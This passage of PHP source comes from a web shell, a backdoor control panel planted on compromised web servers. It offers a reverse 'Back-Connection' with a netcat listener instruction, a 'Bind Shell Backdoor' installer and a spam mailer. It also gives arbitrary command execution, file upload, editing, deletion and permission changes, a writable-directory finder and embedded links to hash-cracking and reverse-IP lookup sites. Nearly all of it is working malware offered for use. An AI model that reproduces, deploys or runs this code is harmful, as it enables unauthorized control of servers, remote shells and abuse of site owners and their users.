  1418. "<input type=hidden name=rndcode value=\"".$rnd."\">".
  1419. "<b>Kill-shell: ".__FILE__." <br>".
  1420. "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">\n".
  1421. "</form>\n";
  1422. }
  1423. }
  1424. if ($act == "update") {
  1425. $ret = tpsh_getupdate(!!$confirmupdate);
  1426. echo "<b>".$ret."</b>";
  1427. if (stristr($ret,"new version")) {
  1428. echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
  1429. }
  1430. }
  1431.  
  1432. if ($act == 'backc')
  1433. {
  1434. $ip = $_SERVER["REMOTE_ADDR"];
  1435. $msg = $_POST['backcconnmsg'];
  1436. $emsg = $_POST['backcconnmsge'];
  1437. echo('<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value='.$ip.'> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>First, run NetCat on your computer using \'<b>nc -l -n -v -p '.$bc_port.'</b>\'. Then, click "Connect" once the port is listening.</center>');
  1438. echo $msg;
  1439. echo $emsg;
  1440. }
  1441.  
  1442.  
  1443. if ($act == 'backd'){
  1444. $msg = $_POST['backcconnmsg'];
  1445. $emsg = $_POST['backcconnmsge'];
  1446. echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST>
  1447. Bind Port: <input type='text' name='backconnectport' value='5992'>
  1448. <input type='hidden' name='use' value='shbd'>
  1449. <input type='submit' value='Install Backdoor'></form>");
  1450. echo("$msg");
  1451. echo("$emsg");
  1452. echo("</center>");
  1453. }
  1454. if ($act == "mler") {
  1455. if (!empty($submit)){
  1456. $headers = 'To: '.$dest_email."\r\n";
  1457. $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
  1458. if (mail($suppmail,$sender_subj,$sender_body,$header)) {
  1459. echo "<center><b>Email sent!</b></center>";
  1460. }
  1461. else { echo "<center><b>Can't send email!</b></center>"; }
  1462. }
  1463. else {
  1464. echo "<form action=\"".$surl."\" method=POST>".
  1465. "<input type=hidden name=act value=mler>".
  1466. "<table class=contents><tr><td class=barheader colspan=2>".
  1467. "[ Mailer ]</td></tr>".
  1468. "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
  1469. "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
  1470. "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
  1471. "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
  1472. "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
  1473. "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
  1474. "</table>\n";
  1475. }
  1476. }
  1477. if ($act == 'dec') {
  1478. ?>
  1479. <iframe
  1480. src ="http://www.md5decrypter.co.uk/"
  1481. height="600"
  1482. width="100%">
  1483. </iframe>
  1484. <?php
  1485. }
  1486. if ($act == 'rev') {
  1487. ?>
  1488. <iframe
  1489. src ="http://www.yougetsignal.com/tools/web-sites-on-web-server//"
  1490. height="600"
  1491. width="100%">
  1492. </iframe>
  1493. <?php
  1494. }
  1495. if ($act == "search") {
  1496. echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
  1497. if (empty($search_in)) {$search_in = $d;}
  1498. if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1499. if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1500. if (!empty($submit)) {
  1501. $found = array();
  1502. $found_d = 0;
  1503. $found_f = 0;
  1504. $search_i_f = 0;
  1505. $search_i_d = 0;
  1506. $a = array(
  1507. "name"=>$search_name,
  1508. "name_regexp"=>$search_name_regexp,
  1509. "text"=>$search_text,
  1510. "text_regexp"=>$search_text_regxp,
  1511. "text_wwo"=>$search_text_wwo,
  1512. "text_cs"=>$search_text_cs,
  1513. "text_not"=>$search_text_not
  1514. );
  1515. $searchtime = getmicrotime();
  1516. $in = array_unique(explode(";",$search_in));
  1517. foreach($in as $v) {tpfsearch($v);}
  1518. $searchtime = round(getmicrotime()-$searchtime,4);
  1519. if (count($found) == 0) {echo "No files found!";}
  1520. else {
  1521. $ls_arr = $found;
  1522. $disp_fullpath = TRUE;
  1523. $act = "ls";
  1524. }
  1525. }
  1526. echo "<table class=contents>".
  1527. "<tr><td><form method=POST>".
  1528. "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
  1529. "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
  1530. "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
  1531. "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
  1532. "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
  1533. " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
  1534. " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
  1535. " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
  1536. "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
  1537. "</table>\n";
  1538. if ($act == "ls") {
  1539. $dspact = $act;
  1540. echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
  1541. "<hr size=\"1\" noshade>";
  1542. }
  1543. }
  1544. if ($act == "chmod") {
  1545. $mode = fileperms($d.$f);
  1546. if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1547. else {
  1548. $form = TRUE;
  1549. if ($chmod_submit) {
  1550. $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1551. if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
  1552. else {$err = "Can't chmod to ".$octet.".";}
  1553. }
  1554. if ($form) {
  1555. $perms = parse_perms($mode);
  1556. echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1557. }
  1558. }
  1559. }
  1560. if ($act == "upload") {
  1561. $uploadmess = "";
  1562. $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1563. if (empty($uploadpath)) {$uploadpath = $d;}
  1564. elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  1565. if (!empty($submit)) {
  1566. global $_FILES;
  1567. $uploadfile = $_FILES["uploadfile"];
  1568. if (!empty($uploadfile["tmp_name"])) {
  1569. if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1570. else {$destin = $userfilename;}
  1571. if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
  1572. $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
  1573. }
  1574. else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
  1575. }
  1576. else { echo "No file to upload!"; }
  1577. }
  1578. if ($miniform) {
  1579. echo "<b>".$uploadmess."</b>";
  1580. $act = "ls";
  1581. }
  1582. else {
  1583. echo "<table><tr><td colspan=2 class=barheader>".
  1584. ".: File Upload :.</td>".
  1585. "<td colspan=2>".$uploadmess."</td></tr>".
  1586. "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
  1587. "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
  1588. "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
  1589. "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
  1590. "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
  1591. "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
  1592. "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
  1593. "</form></td></tr></table>";
  1594. }
  1595. }
  1596. if ($act == "delete") {
  1597. $delerr = "";
  1598. foreach ($actbox as $v) {
  1599. $result = FALSE;
  1600. $result = fs_rmobj($v);
  1601. if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; }
  1602. }
  1603. if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
  1604. $act = "ls";
  1605. }
  1606. if (!$usefsbuff) {
  1607. if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {
  1608. echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";
  1609. }
  1610. }
  1611. else {
  1612. if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); tp_sess_put($sess_data); $act = "ls"; }
  1613. elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); tp_sess_put($sess_data); $act = "ls";}
  1614. elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} tp_sess_put($sess_data); $act = "ls";}
  1615. if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); tp_sess_put($sess_data);}
  1616. elseif ($actpastebuff) {
  1617. $psterr = "";
  1618. foreach($sess_data["copy"] as $k=>$v) {
  1619. $to = $d.basename($v);
  1620. if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1621. if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1622. }
  1623. foreach($sess_data["cut"] as $k=>$v) {
  1624. $to = $d.basename($v);
  1625. if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1626. unset($sess_data["cut"][$k]);
  1627. }
  1628. tp_sess_put($sess_data);
  1629. if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1630. $act = "ls";
  1631. }
  1632. elseif ($actarcbuff) {
  1633. $arcerr = "";
  1634. if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1635. else {$ext = ".tar.gz";}
  1636. if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1637. $cmdline .= " ".$actarcbuff_path;
  1638. $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1639. foreach($objects as $v) {
  1640. $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1641. if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1642. if (is_dir($v)) {
  1643. if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1644. $v .= "*";
  1645. }
  1646. $cmdline .= " ".$v;
  1647. }
  1648. $tmp = realpath(".");
  1649. chdir($d);
  1650. $ret = tpexec($cmdline);
  1651. chdir($tmp);
  1652. if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1653. $ret = str_replace("\r\n","\n",$ret);
  1654. $ret = explode("\n",$ret);
  1655. if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1656. foreach($sess_data["cut"] as $k=>$v) {
  1657. if (in_array($v,$ret)) {fs_rmobj($v);}
  1658. unset($sess_data["cut"][$k]);
  1659. }
  1660. tp_sess_put($sess_data);
  1661. if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1662. $act = "ls";
  1663. }
  1664. elseif ($actpastebuff) {
  1665. $psterr = "";
  1666. foreach($sess_data["copy"] as $k=>$v) {
  1667. $to = $d.basename($v);
  1668. if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1669. if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1670. }
  1671. foreach($sess_data["cut"] as $k=>$v) {
  1672. $to = $d.basename($v);
  1673. if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1674. unset($sess_data["cut"][$k]);
  1675. }
  1676. tp_sess_put($sess_data);
  1677. if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
  1678. $act = "ls";
  1679. }
  1680. }
  1681. if ($act == "cmd") {
  1682. @chdir($chdir);
  1683. if (!empty($submit)) {
  1684. echo "<div class=barheader>.: Results of Execution :.</div>\n";
  1685. $olddir = realpath(".");
  1686. @chdir($d);
  1687. $ret = tpexec($cmd);
  1688. $ret = convert_cyr_string($ret,"d","w");
  1689. if ($cmd_txt) {
  1690. $rows = count(explode("\n",$ret))+1;
  1691. if ($rows < 10) { $rows = 10; } else { $rows = 30; }
  1692. $cols = 130;
  1693. echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n";
  1694. //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
  1695. }
  1696. else { echo $ret."<br>"; }
  1697. @chdir($olddir);
  1698. }
  1699. }
  1700. if ($act == "ls") {
  1701. if (count($ls_arr) > 0) { $list = $ls_arr; }
  1702. else {
  1703. $list = array();
  1704. if ($h = @opendir($d)) {
  1705. while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  1706. closedir($h);
  1707. }
  1708. }
  1709. if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
  1710. else {
  1711. $objects = array();
  1712. $vd = "f"; //Viewing mode
  1713. if ($vd == "f") {
  1714. $objects["head"] = array();
  1715. $objects["folders"] = array();
  1716. $objects["links"] = array();
  1717. $objects["files"] = array();
  1718. foreach ($list as $v) {
  1719. $o = basename($v);
  1720. $row = array();
  1721. if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
  1722. elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
  1723. elseif (is_dir($v)) {
  1724. if (is_link($v)) {$type = "LINK";}
  1725. else {$type = "DIR";}
  1726. $row[] = $v;
  1727. $row[] = $type;
  1728. }
  1729. elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1730. $row[] = filemtime($v);
  1731. if (!$win) {
  1732. $ow = posix_getpwuid(fileowner($v));
  1733. $gr = posix_getgrgid(filegroup($v));
  1734. $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  1735. }
  1736. $row[] = fileperms($v);
  1737. if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1738. elseif (is_link($v)) {$objects["links"][] = $row;}
  1739. elseif (is_dir($v)) {$objects["folders"][] = $row;}
  1740. elseif (is_file($v)) {$objects["files"][] = $row;}
  1741. $i++;
  1742. }
  1743. $row = array();
  1744. $row[] = "<b>Name</b>";
  1745. $row[] = "<b>Size</b>";
  1746. $row[] = "<b>Date Modified</b>";
  1747. if (!$win) {$row[] = "<b>Owner/Group</b>";}
  1748. $row[] = "<b>Perms</b>";
  1749. $row[] = "<b>Action</b>";
  1750. $parsesort = parsesort($sort);
  1751. $sort = $parsesort[0].$parsesort[1];
  1752. $k = $parsesort[0];
  1753. if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1754. $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  1755. $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1756. $row[$k] .= $y;
  1757. for($i=0;$i<count($row)-1;$i++) {
  1758. if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  1759. }
  1760. $v = $parsesort[0];
  1761. usort($objects["folders"], "tabsort");
  1762. usort($objects["links"], "tabsort");
  1763. usort($objects["files"], "tabsort");
  1764. if ($parsesort[1] == "d") {
  1765. $objects["folders"] = array_reverse($objects["folders"]);
  1766. $objects["files"] = array_reverse($objects["files"]);
  1767. }
  1768. $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1769. $tab = array();
  1770. $tab["cols"] = array($row);
  1771. $tab["head"] = array();
  1772. $tab["folders"] = array();
  1773. $tab["links"] = array();
  1774. $tab["files"] = array();
  1775. $i = 0;
  1776. foreach ($objects as $a) {
  1777. $v = $a[0];
  1778. $o = basename($v);
  1779. $dir = dirname($v);
  1780. if ($disp_fullpath) {$disppath = $v;}
  1781. else {$disppath = $o;}
  1782. $disppath = str2mini($disppath,60);
  1783. if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  1784. elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  1785. foreach ($regxp_highlight as $r) {
  1786. if (ereg($r[0],$o)) {
  1787. if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; tpshexit();}
  1788. else {
  1789. $r[1] = round($r[1]);
  1790. $isdir = is_dir($v);
  1791. if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
  1792. if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  1793. $disppath = $r[2].$disppath.$r[3];
  1794. if ($r[4]) {break;}
  1795. }
  1796. }
  1797. }
  1798. }
  1799. $uo = urlencode($o);
  1800. $ud = urlencode($dir);
  1801. $uv = urlencode($v);
  1802. $row = array();
  1803. if ($o == ".") {
  1804. $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
  1805. $row[] = "CURDIR";
  1806. }
  1807. elseif ($o == "..") {
  1808. $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
  1809. $row[] = "UPDIR";
  1810. }
  1811. elseif (is_dir($v)) {
  1812. if (is_link($v)) {
  1813. $disppath .= " => ".readlink($v);
  1814. $type = "LINK";
  1815. $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
  1816. }
  1817. else {
  1818. $type = "DIR";
  1819. $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
  1820. }
  1821. $row[] = $type;
  1822. }
  1823. elseif(is_file($v)) {
  1824. $ext = explode(".",$o);
  1825. $c = count($ext)-1;
  1826. $ext = $ext[$c];
  1827. $ext = strtolower($ext);
  1828. $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
  1829. $row[] = view_size($a[1]);
  1830. }
  1831. $row[] = @date("d.m.Y H:i:s",$a[2]);
  1832. if (!$win) { $row[] = $a[3]; }
  1833. $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  1834. if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  1835. else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  1836. if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
  1837. else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
  1838. if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  1839. elseif (is_link($v)) {$tab["links"][] = $row;}
  1840. elseif (is_dir($v)) {$tab["folders"][] = $row;}
  1841. elseif (is_file($v)) {$tab["files"][] = $row;}
  1842. $i++;
  1843. }
  1844. }
  1845. // Compiling table
  1846. $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  1847. echo "<div class=barheader>.: ";
  1848. if (!empty($fx_infohead)) { echo $fx_infohead; }
  1849. else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
  1850. echo " :.</div>\n";
  1851. echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
  1852. "<table class=explorer>";
  1853. foreach($table as $row) {
  1854. echo "<tr>";
  1855. foreach($row as $v) {echo "<td>".$v."</td>";}
  1856. echo "</tr>\r\n";
  1857. }
  1858. echo "</table>".
  1859. "<script>".
  1860. "function ls_setcheckboxall(status) {".
  1861. " var id = 1; var num = ".(count($table)-2).";".
  1862. " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
  1863. "}".
  1864. "function ls_reverse_all() {".
  1865. " var id = 1; var num = ".(count($table)-2).";".
  1866. " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
  1867. "}".
  1868. "</script>".
  1869. "<div align=\"right\">".
  1870. "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
  1871. "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  1872. if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
  1873. echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  1874. }
  1875. echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  1876. echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  1877. echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  1878. if ($usefsbuff) {
  1879. echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  1880. echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  1881. echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  1882. }
  1883. echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
  1884. echo "</form>";
  1885. }
  1886. }
  1887.  
  1888. if ($act == "phpfsys") {
  1889. echo "<div align=left>";
  1890. $fsfunc = $phpfsysfunc;
  1891. if ($fsfunc=="copy") {
  1892. if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
  1893. else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
  1894. }
  1895. elseif ($fsfunc=="rename") {
  1896. if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
  1897. else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
  1898. }
  1899. elseif ($fsfunc=="chmod") {
  1900. if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
  1901. else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
  1902. }
  1903. elseif ($fsfunc=="read") {
  1904. $darg = $d.$arg1;
  1905. if ($hasil = @file_get_contents($darg)) {
  1906. echo "<b>Filename:</b> ".$darg."<br>";
  1907. echo "<center><textarea cols=135 rows=30>";
  1908. echo htmlentities($hasil);
  1909. echo "</textarea></center>\n";
  1910. }
  1911. else { echo "<div class=fxerrmsg> Couldn't open ".$darg."<div>"; }
  1912. }
  1913. elseif ($fsfunc=="write") {
  1914. $darg = $d.$arg1;
  1915. if(@file_put_contents($darg,$arg2)) {
  1916. echo "<b>Saved!</b> ".$darg;
  1917. }
  1918. else { echo "<div class=fxerrmsg>Can't write to $darg!</div>"; }
  1919. }
  1920. elseif ($fsfunc=="downloadbin") {
  1921. $handle = fopen($arg1, "rb");
  1922. $contents = '';
  1923. while (!feof($handle)) {
  1924. $contents .= fread($handle, 8192);
  1925. }
  1926. $r = @fopen($d.$arg2,'w');
  1927. if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  1928. else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
  1929. fclose($r);
  1930. fclose($handle);
  1931. }
  1932. elseif ($fsfunc=="download") {
  1933. $text = implode('', file($arg1));
  1934. if ($text) {
  1935. $r = @fopen($d.$arg2,'w');
  1936. if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  1937. else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
  1938. fclose($r);
  1939. }
  1940. else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";}
  1941. }
  1942. elseif ($fsfunc=='mkdir') {
  1943. $thedir = $d.$arg1;
  1944. if ($thedir != $d) {
  1945. if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
  1946. elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
  1947. else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
  1948. }
  1949. else { echo "Can't create current dir:<b> $thedir</b>"; }
  1950. }
  1951. elseif ($fsfunc=='fwritabledir') {
  1952. function recurse_dir($dir,$max_dir) {
  1953. global $dir_count;
  1954. $dir_count++;
  1955. if( $cdir = dir($dir) ) {
  1956. while( $entry = $cdir-> read() ) {
  1957. if( $entry != '.' && $entry != '..' ) {
  1958. if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
